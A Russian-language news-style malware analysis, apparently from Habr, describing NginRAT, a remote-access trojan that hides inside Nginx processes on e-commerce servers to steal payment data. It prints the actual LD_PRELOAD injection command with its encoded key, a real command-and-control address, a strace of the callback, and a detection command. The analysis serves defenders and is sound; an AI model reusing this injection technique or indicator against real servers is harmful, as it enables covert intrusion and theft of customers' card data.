Новый паразит NginRAT атакует сервер Nginx, угрожая платформам eCommerce

image-loader.svg

Новый вредонос, также известный как серверный Magecart, нацелен на сервер Nginx. Его код внедряется в приложение Nginx и, отлично маскируясь, позволяет красть данные с серверов eCommerce.

На прошлой неделе исследователи из Sansec раскрыли оригинальный eCommerce-вредонос CronRAT, управляемый с сервера в Китае. В рамках эксперимента они написали собственный клиент RAT и дождались команд из поднебесной. В конечном итоге управляющий сервер запросил от их фиктивного RAT запуск другого, более продвинутого компонента малвари, который исследователи назвали NginRAT («engine-rat»).

NginRAT захватывает приложение Nginx с целью скрытия собственного присутствия. Для этого он изменяет корневую функциональность хоста Linux. Когда легитимный сервер Nginx использует эту функциональность (например, dlopen), NginRAT внедряет себя. В результате получается троян удаленного доступа, вложенный в процесс Nginx, каких на типичном сервере eCommerce находится много. При этом зараженный Nginx выглядит аналогично всем остальным. Сможете найти отличия?

image-loader.svg


Пока что, Sansec определили присутствие экземпляров NginRAT на серверах платформ электронной коммерции в США, Германии и Франции. Хотя исследователи предполагают, что по факту заражению подверглось большее число серверов.

Технический анализ


CronRAT сообщается с управляющим сервером по адресу 47.115.46.167:443, используя кастомные команды. Одна из них, dwn, скачивает системную библиотеку Linux в /dev/shm/php-shared. После этого CronRAT проинструктирован выполнять:

env LD_L1BRARY_PATH="[580 bytes]" \
    LD_PRELOAD=/dev/shm/php-shared \
    /usr/sbin/nginx --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help 1>&2 &


Этот «зов о помощи» внедряет паразита NginRAT в хостовое приложение Nginx.

Что происходит здесь?

image-loader.svg


В Nginx передаются две переменные. Первая — это LD_L1BRARY_PATH. Заметили опечатку 1? В ней содержится ключ расшифровки для полезной нагрузки RAT:

LJMESRJVJJKTGSKRJAZTGRCGG5NEISKWJ4QDCMZAG5EFIV2CIY2UWT2FKFMVIT2VKIQDCMD4KZBVUNCDEAZSAVCTIQ3UKSKDGNFE4MSZJ5DTKRCNJAZVQWBXJVFECSRUGJDUKR2RIVIECTCDKNEFAS2HIFCVSIBSHB6FOT2CJJGFOTCOK5JUWSKDJI2FKM22LFHDKT2OLJEUYWC2KBCUSIBRHEQDETCYKBKFAQJWGI3TMT2RKM3VCWCNIJGFAVJWGRDFIQJXKQ3U6TKFK5HDIWKILBHFSRKRIEQDEN34GYZEWM2KJBHUWRCZLFLFQTSHJI3E6TBSG5KTMQ2LLI3UKN2QK5ETKTJAGIYSAVCELJHDGNBVKNCVCSKTLJLTKMZAGEYHYUJUEAYSAV2ZKBFTKUJVI5ETESSKINKUQRZWKM3DOQJTJFLUIMSBJRJVSQKCJU3VISSKIE2VUR2HIRDU6NCJEAZDTVXSVLQCAVEEAQ6JZNKIUQ7WXU25XTJOBP7IQ42E4LW6YLHDDXVB4FYRLYWTHAIGBU4CABJKWPVGTV5SRGXYI5Q4QPB3LTEPU42JUSCA


Вторая — это LD_PRELOAD, которая относится к функционалу отладки в Linux. Разработчики с ее помощью тестируют системные библиотеки. Тем не менее ее также можно использовать для перехвата вызовов стандартных библиотек. Здесь видно, что вредоносная библиотека php-shared перехватывает dlopen и dlsym, которые использует Nginx.

image-loader.svg


Как только Nginx вызывает dlopen, NginRAT получает контроль. Он удаляет файл php-shared, изменяет имя его процесса на nginx: worker process, собирает информацию о системе и открывает соединение с С&С сервером по адресу 47.115.46.167. Затем он переходит в режим ожидания команд, в котором, вероятно, может находиться недели или даже месяцы.

// Частичный strace NginRAT
uname({sysname="Linux", nodename="ubuntu-2gb-fsn1-1", ...}) = 0
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb008b9d210) = 8949
openat(AT_FDCWD, "/proc/self/maps", O_RDONLY) = 3
getcwd("/dev/shm", 4096)          = 9
readlink("/proc/self/exe", "/usr/sbin/nginx", 4096) = 15
chdir("/usr/sbin")   
openat(AT_FDCWD, "/proc/self/stat", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/dev/shm/php-shared", O_RDONLY) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("47.115.46.167")}, 16) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)


Дамп траффика начального рукопожатия NginRAT с управляющим сервером:

image-loader.svg


Как обнаружить и удалить NginRAT


Так как NginRAT встраивает себя в легитимный хост-процесс Nginx, стандартный /proc/PID/exe будет указывать на Nginx, а не на малварь. Кроме того, код этой библиотеки никогда не записывается на диск и после запуска найти его не удастся.

Однако использование LD_L1BRARY_PATH (с опечаткой) может раскрывать присутствие конкретно этой версии NginRAT. Для обнаружения любых активных процессов, выполните следующую команду:

$ sudo grep -al LD_L1BRARY_PATH /proc/*/environ | grep -v self/
/proc/17199/environ
/proc/25074/environ


Она покажет все скомпрометированные процессы. Убейте их с помощью kill -9 ‹PID›. Также не забудьте выполнить анализ CronRAT, поскольку малварь наверняка засядет в ваших задачах cron.

kghq9za934md5ceo14bxovinlgy.jpeg

© Habrahabr.ru